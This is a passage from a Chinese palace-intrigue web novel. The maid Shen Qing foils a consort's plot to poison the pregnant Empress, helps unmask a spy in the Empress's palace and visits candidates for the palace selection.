沈青惊讶:“好神奇,你怎么知道的?”她将手展开,手心红彤彤一片,来到皇后身边后,她的手常用油脂养着,早没了以前当三等宫女时的粗糙,反而又薄又透,像精心娇养的女子的手,此刻手心的红肿是那么刺眼。 王定了解沈青对自己的粗枝大叶,他边给沈青上药膏,边指了指食盒。 “不要再拎这么大的食盒了,沉不说,还磨手。” 沈青没好气道:“我这不是想把喜欢吃的都让你尝尝嘛。” 王定眼中带笑,上完药后将她的手放下去,不留情面点破道:“只要是肉,你都喜欢吃。” 虽带着些微不可察的责备,但眼底的纵容是实打实的。 王积贵望着美味的食物,觉得食不知味。 呵。 这边沈青还在愤愤:“甜的我也喜欢。” 并威胁道:“再这么不给我的面子,我就把你的糗事给干爹抖露干净!” 王定的上司在这,她的上司却不在,实乃她占上风。 王积贵一哽:“你叫我什么?” 沈青乖巧道:“干爹。” “您是王定的干爹,奴婢作为他异父异母的亲妹妹,理应叫您一声干爹。” 太棒了她,简简单单一句话,就行云流水攀上了宫中最牛逼的大太监之一。 王定唇边溢出点笑意。 王积贵脸一僵:“……,很好。” 沈青再接再厉:“干爹您多吃点。” 在小宫女殷殷的目光中,王大公公埋头干饭。 沈青目光催促地看向王定。 王定将礼物从木匣中拿出来,是三个铺在绸缎上的镯子,分别为银镯金镯和玉镯,均做工精良,圈口恰适合沈青的手腕,不会显得大或者小。 沈青很给面子地哇了一声,爱不释手地挨个往手腕上戴了一遍。 最终腕子上多了只玉镯,显得她的肌肤如羊脂白玉般。剩下的被她收了起来。 沈青带给王定的是一根徽墨,墨条上面有着描金花枝。 这种墨条价极贵,跟黄金差不多了。 沈青对文具有股执念,苦了什么不能苦了教育,想到王定,便自然而然想到了文房四宝。 到底干爹在一旁,王定克制般的欣赏了一番,这便收了起来。 今天遇见王积贵纯粹巧 合,并未准备什么礼物,沈青因刚强行认了干爹,现在还有点心虚,只一个劲儿劝饭。 堂堂王积贵不语,只一味吃菜。 远处的烟火升到半空,灿然绽放,璀璨的光芒在这一瞬照亮了此间,驱散了夜晚的灰暗,让人平生温暖。 沈青连忙闭眼,虔诚开始许愿。 两人的目光安静落到她脸上。 第26章 第26章宫女二十六日 十五一过,偌大的皇宫又回到了往日的面貌。 那日之后,沈青收到了王定替王积贵送来的一盒金元寶,总共十六个,四行四列,一个元寶一个绸缎坑地放在盒子里,每一个都是那样圆滚滚,憨态可掬,拿起来沉甸甸的,散发着属于真金的光泽感,衬得木盒都沾上了贵气的金光。 沈青喜歡的不得了,每天晚上都要挨个摸上几遍才能睡着。 同时对王积贵的好感提升了不少,怪不得人是大太监呢,出手就是大方。 年一过,摆在皇后面前的首要任务便是大選,但是大選之前,各宫嫔妃的位份多少也得动一动,若讓新人压了老人的位份,宫中的老人该有怨言了。 皇后趁着纪宸来坤寧宫时,提起了这件事。 纪宸道:“皇后自己决断即可。” 即便纪宸这么说,皇后斟酌后还是问询道:“那顏修仪,玉贵人和高美人皇上可有安排?” 顏修仪是太后的侄女,肯定是要借着这次机会升一升的,少了谁也不能少了她,但怎么升却是个难题。 修仪已是从二品,再往上就是正二品的妃,但如今从一品的贵淑德賢四妃位置上,只有德妃有人,若不进一位,岂非显得不充盈? 私心上,皇后是希望有人能压一压德妃的气焰的。 至于玉贵人和高美人,两人作为皇上叫得上名号的寵妃,最好问一问皇上的意见。 若事后皇上不滿意,再调位份則会显得她这个皇后不周到。 纪宸思考片刻道:“颜修仪晋为賢妃,玉贵人和高美人各升两级,高美人赐封号兰。” “惠贵嫔宫内的西侧殿空着,将兰婕妤挪居此处。” 皇后温柔恭顺称是。 内心則在疯狂做阅读理解。 【现在便改口叫高美人为兰婕妤,但惠贵嫔的称呼却不變,是不是意味着惠贵嫔什么也不动?】 【将兰婕妤一个正四品的放到惠贵嫔的景陽宫中,景陽宫有惠贵嫔的这个主位压着,兰婕妤想成为一宫之主就得迁宫,可现在皇上刚把她迁过来,不就意味着兰婕妤顶天了也就是从三品的嫔。】 【且景陽宫的西侧殿不就是以前杜氏还是婕妤时住过的织云殿。兰婕妤与杜氏有仇,搬进织云殿岂不是存心膈应。】 【这方方面面都在显示皇上不滿兰婕妤,那这不滿又是从什么时候开始的?莫不是兰婕妤当初在宫道上罚跪杜氏,亦或者还做了什么蠢事?】 沈青前来奉茶,刚进去就听到了皇后的大声猜疑,再一看帝后和乐的一幕,哪能想不到皇上又给皇后出了什么难题。 皇上喜歡话留三成,下面的人自会依着他的心思办事,甚至会尽善尽美。 皇后则喜欢挖掘皇上话中藏着的意思,不断思量,以求周到。 因此两人的相处更像是在营造一种明君賢后的氛围。 沈青将二人喜欢的茶奉上,便默默退了出去。 皇上很快离开,皇后也开始准备给后宫嫔妃升位份的事。 宫中恩寵单薄的低位嫔妃梅才人、马才人、周宝林、方宝林都得往上升一级,高美人升为兰婕妤,玉贵人升为玉嫔,惠贵嫔不變,颜修仪升为贤妃,德妃不变。 这么算下来,后宫嫔妃真是少得可怜,希望今年的秀女质量好一些。 办完这些事,皇后讓人将沈青唤来。 沈青很快便来了:“皇后娘娘。” 皇后坐在太师椅上,身后是青玉给放的软垫,她讓青玉去将门关上,拉起沈青的手,放在自己的肚子上:“沈青,本宫好似懷上了。” 沈青嘴巴微张,被这个消息冲击到了。懷上好啊!但理应代替她站在这儿的,不应该是皇上嗎? 初为人母的喜悦不都是和丈夫分享嗎? 虽然有些怪异,但沈青仍高兴的不得了,似乎能从皇后平坦的腹部感受到小生命的存在:“真的吗娘娘!我们要有小皇子了?” 虽然这胎不论公主皇子都非常尊贵,但若是皇子,皇后的地位便稳固了,甚至不用再受生育之苦。 皇后笑容扩大,点了点头,棕褐色眼眸中泛起柔光。 “青古会把脈,加上本宫的月事已经迟了十几天了,心中有所预料,便让青古把了一次脈,摸出是滑脉。” 沈青这才想起方才的疑问:“娘娘为何不在刚刚皇上来时,告诉皇上这件喜事?” 皇后:“本宫想等太医请平安脉时再点破此事,现在月份浅,若是乌龙便不妙了。” 沈青肯定道:“一定不是乌龙,娘娘一看便是有福之人,上苍是眷顾娘娘的。” 怀孕的人心思敏感,娘娘也是同理,沈青所能做的,也只是哄着皇后娘娘开心。 皇后用葱指点着沈青的额头,佯嗔道:“你呀。” “不过此事只有青玉青古,你和本宫知道,连太后送来的那位嬷嬷都不知道,莫要说漏嘴了,不然萱草该找我哭了。” 沈青:“萱草姐姐最爱娘娘了,才不会呢。奴婢一定守口如瓶。” 皇后想起不久后的选秀:“待会儿让青玉带着你去库房挑一身料子,送到司衣司让绣娘给你做一套春装。不久后的大选,一些不足以让本宫出面的微末小事,便由青玉和你去处理。届时,也好历练一番。” 皇后重用,沈青哪会辞让,于是干脆利落应下:“奴婢明白,谢皇后娘娘!” 大肆册封后妃的旨意传到各位嫔妃宫中,德妃暂时升无可升,听完后便让石榴将人打发了出去。 景阳宫的惠贵嫔听到别处的热闹,心中乱糟糟一片,头也钝钝的疼,她苦笑道:“满宫这么多人,唯独拉下我,没有恩宠就合该遭人轻贱吗?” 当下,更没了去庆祝颜修仪升为贤妃的心思。 惠贵嫔的贴身宫女翡翠愤愤道:“皇后娘娘这是什么意思,根本没将娘娘放在眼里。” 惠贵嫔此刻对皇后的不满达到了顶峰。 她闭了闭眼,再睁开时,眼中一片冷然:“把家中递来的信重新给本宫找出来。” 翡翠忧愁道:“娘娘不是不愿掺和秀女的事?” 惠贵嫔讽笑道:“本宫再不争一争,满宫只怕没人会记得本宫了,趁着本宫尚且有些人脉,将人调进景阳宫中,来日那人获宠,皇上总该记得景阳宫还有位主位娘娘。” 翡翠还泛着忧愁,西偏殿已经有了兰婕妤,若将人置到偏殿,说不定会招来怨怼。 罢了,娘娘心中有气,依着娘娘就是了。 因为此次册封中有高位妃嫔,便不会草草了事,而会举行由贤妃颜英华打头的正式册封仪式,其他低位嫔妃则沾了贤妃的光,一同隆重受封。 这件事过去后,又紧接着爆出了皇后有孕,宫中人心浮动。 但皇后早有准备,将坤寧宫管理的像铁桶般严密,殿内的香料也因为沈青的建议不燃了,凡她吃的用的所经手的,都会有专人检查。 太后赐下的那个嬷嬷更是被指挥的团团转,一天三遍检查坤寧宫。 永寿宫内。 德妃第三次对石榴叹气。 石榴自然急德妃所急,德妃不在意皇上到后宫临幸了谁,谁又重新获宠,只一门心思动用人力打听坤宁宫的事。 “你说,她怎么就那么好命呢?” 皇上自大婚后不过多给了坤宁宫三四个月的脸面,偏偏就这么短的时间,皇后居然怀了。 圣上的第一子,又是中宫所出,怕是要格外合皇上的心意。 石榴神色不变,比了个手势:“娘娘,您说要不要……” 石榴的未尽之言,德妃听懂了,但是她道:“不必,皇后此刻正愁没本宫的把柄。把本宫扳倒了,她此后十几年便能无忧,本宫才不会如她所愿。” 她们都 曾掌宫权,利用宫权安插人手再方便不过了,正如德妃不知道皇后的势力有多大,皇后想到德妃可能暗藏的人,恐怕深夜也会辗转反侧。 这种情况下,扳倒对方,便是最一劳永逸的方法。 坤宁宫中。 若不是突然收到翠环的消息,沈青几乎快要忘了这个人,望着纸条上的时间地点,她心知,不得不去了。 沈青没有背叛皇后的意思,正因如此,她才更想要知道翠环要干什么。 若她不去,翠环想做什么固然会胎死腹中,但她与她背后的人仍会藏到暗处,等待时机给予皇后致命一击。 沈青记下纸条上的信息,就着烛火将纸条烧成灰烬,平静地踏出茶室。 茶室外,一名小宫女余光扫过沈青隐蔽的动作,这才敛目。 因为翠环要求的时间很急,沈青需要中午出去一会儿,才能与其接头,于是她便找了个去司饰司取妆粉的借口。 在经过景阳宫的长宫道上,沈青见到了等候着的翠环。 “翠环姐姐。” 翠环对沈青很满意,坤宁宫中递出的消息,沈青有机会但确实没将此事说与任何人,包括皇后。 不过这也在意料之中,沈青年纪小,自然恐惧被收买的事被皇后知道,担忧自己如今的地位会不稳固。所以她只能与虎谋皮,一步一步错下去。 至于后悔与反抗,只能说人之常情,除此之外,就少有人能有勇气破釜沉舟。 翠环微微一笑,不在意沈青眼中的晦暗:“沈青妹妹,别来无恙啊。” 沈青不说话。 翠环见此反而放心了:“我这里有一桩事想请妹妹帮忙,只要你能做到,此后我便不会再麻烦于你,你自去走你的阳关道——” 沈青不耐烦打断:“长话短说。” 翠环脸色一坏,但想到此人正被她要挟,便又觉得快意,她将袖子中的一包药递到沈青手中:“这是贵嫔娘娘交给我的,能让怀孕的人身材走样,脸上生斑,却不会危及胎儿的性命。贵嫔娘娘只希望皇上厌弃皇后娘娘,却没打算害皇嗣。所以妹妹的风险并不大。” 沈青佯装松了口气:“我要见惠贵嫔。” “贵嫔娘娘岂是你想见就能见的?”翠环愠怒。 沈青捏着药包:“我不见惠贵嫔,如何放心听从你们的指使?” 光翠环一个宫女筹谋此事,即便揭露,也只有翠环一人顶罪,伤不到幕后之人分毫,那她出来这一趟不就毫无收获? 连条大鱼都钓不到。 翠环思索一番,知道沈青的犹豫是合理的,于是将袖子中上有景阳宫三个字的令牌递给沈青,在她眼皮子底下一晃:“这便相信了吧。” 沈青揪住令牌不松手。 “你做什么?”翠环大惊失色。 沈青老实道:“拿到手里,若事情暴露,你们也不会不保我。” 她抬头,纳罕:“难道你们要把我推出去当替死鬼?” 翠环说着怎么会,与沈青暗暗较劲儿争令牌,但沈青的力气不知道为何那么大,令牌渐渐往她的方向送去。 翠环咬牙。 沈青一个使劲儿,把令牌完全拿到手里,连忙塞进袖子中,脸上还是不满意的模样:“那么小气,我答应帮你们办事,我的风险才最大,总要有些保障才好。幸而不是谋害皇嗣,不然就算被赶出坤宁宫,我也不会帮贵嫔娘娘做事。” 翠环心中冷笑连连,真是愚蠢,她说什么就信什么。 如此看来,沈青对皇后并非那么忠心。 “那么,贵嫔就等着你的好消息。” 沈青哼了一声:“自然。” 才怪。 第27章 第27章宫女二十七日 沈青和翠环交接完毕,没忘了此行的借口,去司饰司取完妆粉,这才打道回坤寧宫。 翠环给她讓她害人的藥粉,则被她嫌弃地扔进了荷包里。 沈青的荷包多,大不了这个就不要了。 回坤寧宫的路上,她在心中组织着措辞,脸上微红,是興奋的。她想立刻去找皇后娘娘,揭露这场阴谋,从而表明她也没那么蠢的不信任娘娘。 以沈青对皇后娘娘的了解,她不怕自己宫人身上有什么麻烦事,唯独不喜的就是因此背叛她。 纵然坦白,皇后亦会站到宫人的角度给予理解。 不过沈青这桩事还有点小麻烦,因为当时并非翠环对她威逼利诱,以身家性命相要挟,而是她当时生病貪图翠环帶来的医女,与那根沉手的金簪子。 哎,这就不得不暴露自己的貪财本性了。 若娘娘有什么惩罚,沈青亦是不怨的。 回到坤寧宫时,皇后还在午睡。懷孕的人总会贪觉,但能睡着,说明身体没什么不适,这是好事。 沈青先去找青古:“青古姐姐,我这里有一包藥粉,似是对懷孕的人不好,你能帮我看一看吗?” 青古家学渊源,祖上曾出过御医,相處的时间久了,也知道她将家里藏书都看过一遍,小时候跟着行医的祖父出过诊,有些实践经验,應付小场面是够的。 未弄清这药粉到底是幹什么的,沈青还没心大到直接拿到皇后面前。 万一与皇后身上某些东西混合,进而冲撞了皇后就不好了。 青古闻言,谨慎了两分:“拿出来讓我看看。” 沈青将荷包拿出来,松荷包口,露出东西面貌,这才递给了青古。 青古撕开荷包里包着东西的纸,露出里面紫色的粉末颗粒,看着像没研磨完全。 青古皱眉,用手指捻了一点,放到鼻尖嗅了嗅,然后用舌尖尝了一小口,紧接着她便呸了出来,又拿水漱口。 “色紫,味腥,溶于水无色,有身子的人在怀孕初期长期服用,到怀孕三个月时,便会流产,还是正常小产的征兆。除此之外,里面还加了点小剂量加重孕期反應的东西,时间一长,必然使人憔悴。” 青古嫌恶地用帕子擦掉手上的痕跡。 沈青点头:“姐姐不问这东西我是从哪儿弄来的?” 青古心中有数道:“左不过是宫里的嫔妃为皇后娘娘准备的东西,就这点药粉,珍贵着呢,京中身体不适合再生育,偏偏又意外怀上的贵妇人,通常会用这东西流掉。若这里面没有加别的东西,倒能轉手一卖,可惜了。” 沈青挠了挠头,也跟着道了句可惜,真是银子没地糟蹋。 紧接着她没忘此行的目的:“青古姐姐,其实这东西是有人托我偷偷下给娘娘的,这还源于我在织云殿时收了人家好處,她便觉得有了我的把柄,这才委派了我来。还好意思说什么不伤害皇嗣,当然了,我刚听这句话就知道她在糊弄我,再说了,就算是对娘娘好的好东西,纵然描述的天花乱坠,不经御医首肯,我也不会打着为娘娘好的旗号自作主張。” 沈青中间说起对方骗她,便觉得生气,接着就是好笑,她有那么蠢吗? 将话一口气说完,沈青笑眯眯又讨好地看向青古。 青古唇邊露出一丝笑,赞扬道:“不错,很谨慎。” “还有一些事。”沈青为难道,“恐怕我得亲自告诉皇后娘娘。” 事关惠贵嫔,便是青玉青古两人加起来都做不了决断。 青古也不因沈青越级禀报而愤怒,很幹脆應下:“行,等娘娘起身再说。” 天大的事,也得等皇后娘娘睡醒了。 沈青自然没什么意见,烫手山芋交出去了,她心里轻松极了:“我就知道青古姐姐最好了。” 青古心中熨帖,但不多,因为沈青是个花心的,她这番话对坤宁宫上上下下的宫人可能都说过。 尤其是小厨房的厨娘,最得她喜爱。 沈青抓耳挠腮等了一会儿,看到青玉帶着宫女端盆从殿内出来,她便知道皇后起了,并且梳洗完毕了。 她朝青玉的方向走去。 青玉见到她来,顿住脚,宫女端盆离去,青玉目光询问地看向沈青。 沈青道:“青玉姐姐,我有事要向皇后娘娘禀报。” 青玉点头,带着她进去。 皇后坐在皇后宝座上,神情柔和,身上沐浴着午后的日光。 沈青走到皇后身邊,将从翠环手中生拉硬拽到的景阳宫令牌递到皇后面前,诚恳道:“娘娘,奴婢有罪。” 欲扬先抑。 皇后接过令牌,好奇用手摩擦了一番,并未动怒,好声好气问:“这是怎么了?” 既没严重到生离死别,便算小事。且若真的有罪,亦不会是现在这副情形。 不过皇后也是真困惑,心里疑惑的嗯了一声。 沈青感叹着皇后不愧是皇后,这都从容镇定,真是和皇上越来越像了,于是不敢丝毫拖沓地从头道来。 “奴婢当时还是织云殿三等宫女的时候,以为一辈子都在三等宫女的位置上打轉了,便昏了头受了景阳宫主殿,惠贵嫔身邊二等宫女翠环的好处。如今兜兜转转,翠环以给予过我恩惠的事找上了门,要求奴婢为她办事。奴婢自然相信娘娘,愿意提前告诉娘娘此事,但奴婢更想搞清楚翠环要做什么,便未曾声張于今日晌午在景阳宫外的宫道上和翠环碰头。翠环胆大包天要奴婢给娘娘下药,说事成之后便不会再与奴婢联系,讓奴婢从此以后安枕无忧。” “奴婢对她的说法自是嗤之以鼻,奴婢能到如今的地步仰仗的自然是娘娘,娘娘好,奴婢才能好,这点奴婢还是知道的。不过为了引出翠环背后的人,奴婢只能假意答应,让翠环拿出信物,翠环便将这枚令牌递了出来,本来她只想让奴婢看一眼,但我一瞧这不是重要证物吗?便直接按住拽了过来,因为在宫道上,翠环不好争抢乃至大打出手,便如了奴婢的意。” 沈青眉飞色舞,说到激动的地方恨不得伸手比划。 她目光炯炯看向皇后,似是在问皇后她做的是不是非常对,该不该夸。 更恨不得表达出她对皇后的忠心耿耿,绝不受人蛊惑的模样。 皇后升起興致:“然后呢?” 沈青摊手:“然后奴婢就回来了,药粉交给了青古姐姐,是些害人的东西,娘娘不必担忧。” 皇后拍了下沈青的手:“油嘴滑舌。” 什么相信娘娘,什么仰仗娘娘,什么娘娘好她才能好。 说话简直比萱草还要直白。 但不可否认,皇后心里跟吃了蜜一样甜,不枉她将沈青调到身边了。 皇后叹气:“惠贵嫔啊。” 【莫不是惠贵嫔怨恨本宫未给她升位份?】 【但谋害皇嗣来泄愤,为免也太过了。】 “娘娘,奴婢有一句话不知当讲不当讲。” 皇后点头:“说。” 沈青描补上遗漏之处:“其实从头到尾都是翠环来接触奴婢,没有其他任何人参与,甚至奴婢也没单独见过惠贵嫔,或是惠贵嫔身边倚重的大宫女。” 她回忆道:“在织云殿时,奴婢記得翠环也不是那么得惠贵嫔重用。若是重用的话,也不会现在还没当上大宫女,惠贵嫔身边的大宫女之位,有一段时间是空缺着一位,还是司薄司找了让惠贵嫔满意的宫女填补了上去。” 一直默默听着的青玉也道:“惠贵嫔常带出来的大宫女名为翡翠,惠贵嫔的一应事,也是交由翡翠去办的。” 皇后握着令牌,沉思道:“景阳宫主位令牌只此一枚,试探一下惠贵嫔是否知道令牌一事。” 【以我对惠贵嫔的了解,惠贵嫔应是没这个胆。】 【一个人再性情大变,也不会出手就干诛九族的事,此事,有疑点。】 青玉应是。 沈青青见两人都是有成算的,便将心放到了肚子里,不关她的事啦! 皇后又看向沈青:“沈青,你去通知芰荷,让她带着你和几个信任的宫人,去查一下今日和昨日坤宁宫出入过的宫人。” 沈青能收到信息,说明坤宁宫有内鬼,在帮着传递消息。 大抵是手伸不到她的饮食上,才交给了沈青。 唯一担忧的恐怕是幕后之人会舍车保帅,沈青和翠环不过是丢出来的弃子。 沈青正色应下:“是。” 皇后重用她,她自然要展现出稳重。 从皇后身边退出来,沈青便马不停蹄去找了芰荷,芰荷找来信任的宫人,或者说是大宫女们培养的心腹,开始挨个盘问起坤宁宫宫人这两天的行踪。 芰荷严肃起来,是任谁都不能触了她霉头的,且她擅长声东击西,搞人心态,三两句就能听出宫人话中的漏洞,并引出疏漏之处。 她通过宫人三三两两的作保与相互间的行跡,昨天独自出坤宁宫,有一段时间空白对不上的宫人便显露了出来。 芰荷笃定的视线扫到那名叫双茶的宫女身上,双茶不堪重负神情慌张。 任谁都能看出她的不对。 “双茶?”沈青后知后觉,“我早上在茶室时,双茶就在外面洒扫,我还冲她点了点头。” 作为一个二等宫女,她还没眼高于顶到不认得三等宫女,記不得三等宫女的名字。 因此凭着记性好,沈青很快串联了起来:“原来你那时是在盯着我是否看了纸条?” 双茶不说话,便是默认了。 芰荷一锤定音:“将此事报给娘娘,将双茶暂时看管起来,对外不要漏了痕迹,让有心之人得到消息。” 沈青青不喜麻烦,眼见着内鬼这么快就找到了,她又混上了资历,自然高兴。 加上皇后压根就没追究她的意思,便更是开心了。 接下来,属于她的职责,便只有选秀一事。不过大选事宜,亦有青玉顶在前头,虽然不好意思混来混去,但她就是个吉祥物的存在啊! 第28章 第28章宫女二十八日 皇上刚登基那年的選秀,只能称得上小规模,所以后宫只进了七个人。 这次選秀的规模空前庞大,且已提前通知各州郡于何时预备選秀,这道命令下发后,相應人员停止婚嫁。 当然,这个政令并不影响庶民。便是国丧,嫁娶影响的也只是有官爵的人家。 接着便是拟制适龄女子的名单,将家世不适合——祖上或亲眷犯过罪被影响之人,年龄不适合,患重病的去掉,名单上剩下的人则由朝廷出錢送往京城。 待秀女齐聚京城,选秀便进入下一个流程。 秀女被特许入宫,由宫內最老练且严苛的嬷嬷们检查仪容仪表,其中头发稀疏、眼睛过小、鼻梁塌陷、口唇太大、牙齿不齐、五官不正、胸部有瑕疵、腰身过粗、身高不够、肌肤黑等等,凡有一点,都会被淘汰出去。 当然,亦不乏有心入宫的人会给嬷嬷使银子或抬出宫中人脉,那嬷嬷便会略略放宽要求。 真正的小官之女能过了这一关,便意味着她身上无一處不好。 大半秀女在这里折戟沉沙,被遣返回家,剩下的只有二百余名得以留在宫里,由宫里的姑姑教导她们宫规礼仪。 秀女们被置于尚且空着的儲秀宫內,此时秀女的名单也会被呈给皇后。 儲秀宫的人一多,矛盾便必不可少,因每名秀女背后都有一位官员,一旦生事,便需皇后派人解决此事。平日里,也需派人前往儲秀宫慰问秀女们,以此彰显皇后的母仪天下。 青玉和沈青干的便是这事。 青玉将秀女的名单交给沈青,道:“这里面有一个叫王令仪的秀女需要重点注意,王家在先皇之前频出皇后,最厉害的时候,垄断了三代帝王的皇后之位,如今势弱几 十载,但仍底蕴深厚。当初朝中请皇上立后时,王令仪便是热门人选……” 沈青看到王令仪年十七的字样点头應下。 将名单翻看了一遍,两人便动身去储秀宫。 储秀宫的教习姑姑见到两人,走过来笑脸相迎道:“青玉姑姑,沈青姑娘,皇后娘娘让二位来可有什么示下?” 青玉道:“皇后娘娘仁厚,秀女们离家入宫,总归有些不便,便遣我二人来查看秀女们可有什么不适应的地方。若有,也好早早解决,不能让秀女们迁就。” 教习姑姑笑道:“储秀宫在秀女们入住之前,皇后便已派人将宫室内外修缮一新,无不妥之處。今年的秀女较以前更德容兼备,相互间亦没闹出什么矛盾。” 秀女不给教习姑姑找麻烦,她也乐于为秀女们说话。 她们一路往储秀宫内走,路上遇见几位好奇看过来的秀女,她们姿态散漫,神情恣意,被教习姑姑一瞪,纷纷记起宫中礼仪,垂首离去。 这是才教习了几天的秀女。 沈青听着教习姑姑给青玉介绍出色的秀女,显然,教出的秀女越出色,教习姑姑得的赏赐也会越多。 她将教习姑姑口中清秀婉约、恬淡端庄的女子形象与王令仪对上,将媚而不妖艳而不俗与陆云湄对上,将脱尘出俗幽兰自芳与陈皎对上,将清丽可人、月貌花容与楚秋娘对上。 除此之外,还有小家碧玉款的,饱读诗书款的,娇俏可愛款的,病美人款的等等。 其中病美人不是真的生病,而是那位秀女弱不禁风,在储秀宫偶感了咳疾,咳起来犹如病西施一般。 总之,这次秀女的质量真的很高,教习姑姑嘴角的笑容都要压不住了,显然是极为满意。 青玉和沈青听到有秀女生病,便让教习姑姑领她们去看。 教习姑姑只好转变了方向,将她们领到了“病西施”那里。 这名秀女名叫李宛意,比起她自身,更引人注目的则是她身为德妃堂妹的身份。 据说李宛意与德妃关係颇好,比嫡亲姊妹还要亲近几分,前几年德妃未入太子府时,李宛意便像个小尾巴似的常常跟在德妃身后。 青玉显然对李宛意的身份很清楚,见她躺在床上欲要起身,便上前扶住她的手腕:“李秀女不必起身,歇着便是。” 沈青这时也瞧清了李宛意的容貌,与德妃大为不同。 德妃亦属明艳美人那一挂,可她的美太锋利逼人了,像明珠,更像烈火。 李宛意则是如水一般的美人,她蹙起眉,看出了愁意,却并不会让人心烦,大概因为她眼含秋水。 青玉在询问李宛意的咳疾如何了,医女如何说,得到不碍事,快好了的回答后,又道:“李秀女不要不在意自己的身子,不然德妃娘娘该忧心了。” “堂姐……”李宛意苦笑一声,“娘娘恐怕仍在生我的气。” 她执意进宫,逆着家里和堂姐的意思,如今堂姐甚至不愿意让人给她带一句话,足见其不悦。可她却不后悔,堂姐当初野心勃勃想当皇后,主动成为太子侧妃,如今却棋差一招未能如愿,如果她再不进宫,堂姐身边甚至连个说话的人都没有。 大选三年一次,她只有一次机会,这次不能成功,下一回大选,她的年龄就超了。 青玉摸清李家堂姊妹的关係如何,便未顺着德妃的话头继续说。 然而李宛意心心念念着堂姐,却是主动问德妃在宫中怎么样。 德妃是皇后之下第一人,满宫的嫔妃也没有她生活的如意了,李宛意完全是杞人忧天,青玉挑挑捡捡将一些事关德妃,但众人皆知的事说与李宛意听。 这邊,沈青检查了一番李秀女的住处是否有被宫人克扣的痕迹,然后在李秀女屋外遇到了另一位少女。她懷抱桃花枝,一两片桃花瓣落到发上,见到教习姑姑身邊的沈青,神情迷惘,懵楞的很,像是没睡醒似的,是个很标志的无害美人。 教习姑姑主动道:“这位秀女名叫鄭珠璎,与李秀女的关系颇好。” 沈青微笑着朝她点头致意。 鄭珠璎道:“我是来找李姐姐的,她病了出不了门,我只好找些花枝相送,将春景也送到李姐姐眼前,好叫她心情好些。……你是皇后身边的宫人嗎?” 沈青看了眼花枝,不太清楚李宛意那身体对花粉过敏不,但想到如果李宛意真对花粉过敏,应当不会收下这份礼物,便没出言多管。 教习姑姑神情一肃:“鄭秀女,莫要多打听。” 沈青赶在郑珠璎要失落之前道:“不碍事,我等确实替皇后行事,秀女们知道皇后关心着她们,也能安心等待殿选。” 郑珠璎抿唇一笑:“我在民间便听到过皇后贤明的美名,心中非常敬仰,如果可以的话,之后想请姐姐帮我向皇后娘娘引荐一番。” 沈青一愣。 郑秀女的话浅显易懂,她自然听明白了,只是没有想到她还未真正成为嫔妃,便打算示好、站队皇后。 但她难道不清楚李宛意是德妃堂妹嗎?她亲近李宛意,不就是向德妃表心意吗? 德妃和她堂妹不管现在关系如何复杂,在外人眼中,李宛意一直都是冠以德妃堂妹的名号,她们是密不可分的李家人,荣辱都是一体的。 沈青目光落到郑珠璎懷抱着的桃花枝,笑了笑,并未直接答应或是拒绝。 但仅仅见到了两位没什么名气的秀女,都给了沈青这么大惊喜,可以想象的到,大选过后,后宫是何等的热闹了。 沈青知道皇后是怎么想的,皇后巴不得新人出色些,这样落到她腹中皇嗣上的目光便少了。 很快,青玉从李秀女房内出来,紧接着和沈青观察了一番其他秀女。 李秀女和郑秀女算作开胃小菜,真见到了其他秀女,才明白了什么叫百花齐放,怕是天底下九成的绝色都被揽进了皇宫中。 回坤宁宫的路上,青玉道:“这回娘娘便要放心了,只是后宫嫔妃见了,就要坐不住了。” 沈青赞同点头。 皇后愛皇上,但她的爱并非那么赤诚,有的人爱人会嫉妒男人身边的任何女人,而皇后是世家照着宗妇培养出来的,无论嫁到哪家都会过得很好,她似乎天生就是雍容大度且世故的。 她极少对皇上黯然神伤,皇上的爱意更像是她稳坐皇后之位的锦上添花。 所以为了皇嗣的顺利诞生,为皇后宝座再添一层保障,皇后不吝啬于为皇上多纳些美人。 反正嫔妃不会威胁到她的位置,还得每日恭恭敬敬对她请安,何乐而不为呢? 因为有皇后的态度在,皇后的宫人不会对宫内的宠妃指摘什么,不需要去抹黑宠妃,来达到让皇后高兴的目的。 譬如现在正得宠,且稳稳压了兰婕妤一头的玉嫔,风光无两,坤宁宫的宫人也没有说在其请安时为难一番。那样的手段就太低级了。 皇后的孕期安稳,但仍有一件事让她动怒。 沈青默默了解了全部过程,毕竟皇后有事没想着瞞她,或者不经意就用心声透露了。 惠贵嫔确实不知道令牌已经丢失的事,但在皇后给她递来橄榄枝一同彻查幕后黑手的时候,她将翠环绑了送去刑罚宫人的地方,并主动去找皇上皇后言明她实在不知情。 这一番打草惊蛇后,翠环自缢,等人发现时已经有一会儿了,而双茶是个什么都不知道的,只笃定着知道越多死的越快,对指派她的人只记得是个面容普通的太监。 至此,线索全断。 皇上了解此事后望向皇后的目光很让皇后不舒服,皇后既觉得是她怀孕心思敏感,又觉得是皇上不满她瞞下此事,于是只能解释:“臣妾只想保全皇嗣。” 紀宸见此 ,哪还有什么不明白的,于是握住皇后的手:“朕不是在怪你,而是皇嗣本就有朕的一份,不光他的母后关心,他的父皇更关心。若是下次朕希望裳月能知会朕一声。” 态度堪称有些谦卑。 但对于为他孕育子嗣的皇后,这点态度还是有的。 皇后称是,仍有些不快:“那这件事便算了吗?” “朕会让錢全忠继续查,给皇后一个交代。” 皇后从乾清宫离开,紀宸独处了一会儿,让人将钱全忠叫过来,并未抬眼便道: “皇后险些被人谋害皇嗣,你可有什么要说的?” 钱全忠恭敬回答:“惠贵嫔如此果决,除了不想和皇后成为同盟外,奴才觉得,惠贵嫔或许知道幕后之人是谁,才做出此等举动,意在为其隐瞒。” 纪宸一言不发,拿起折子翻看起来。 钱全忠继续道:“能拿到景阳宫主位令牌,又能在坤宁宫安插人手,还让惠贵嫔为其保驾护航,奴才斗胆,猜测是顏贤妃。” 皇后入宫时间可比顏贤妃早,但身边能有颜贤妃的人,只能是太后提前安插下的一枚棋子。这也在表明,太后已经将一部分人手交给了侄女。 作为上一任宫斗赢家,又稳坐了那么长时间的皇后之位,宫里各处有点她的人再正常不过了。 纪宸叹了口气,他如何想不到。 还是那句话,皇上怀疑人不需要证据,证据这种东西可以慢慢佐证。如今钱全忠给出一样的答案,那就八九不离十了。 然而,颜贤妃是太后的侄女,他的表妹,纪宸既然没有在皇后在时言明,便意味着他想将此事瞒下来,人后发作。 “把朕库房的册套拿出来,挑女子喜欢的送到皇后的坤宁宫。” 第29章 第29章宫女二十九日 皇后从乾清宫出来便已调整好了情绪,不叫人看出絲毫不对。 她努力自省。 【本宫不该因为这件事迁怒皇上,夫妻情分本就是處出来的,而不是用来消耗的,更何况我这个半路册立的皇后。】 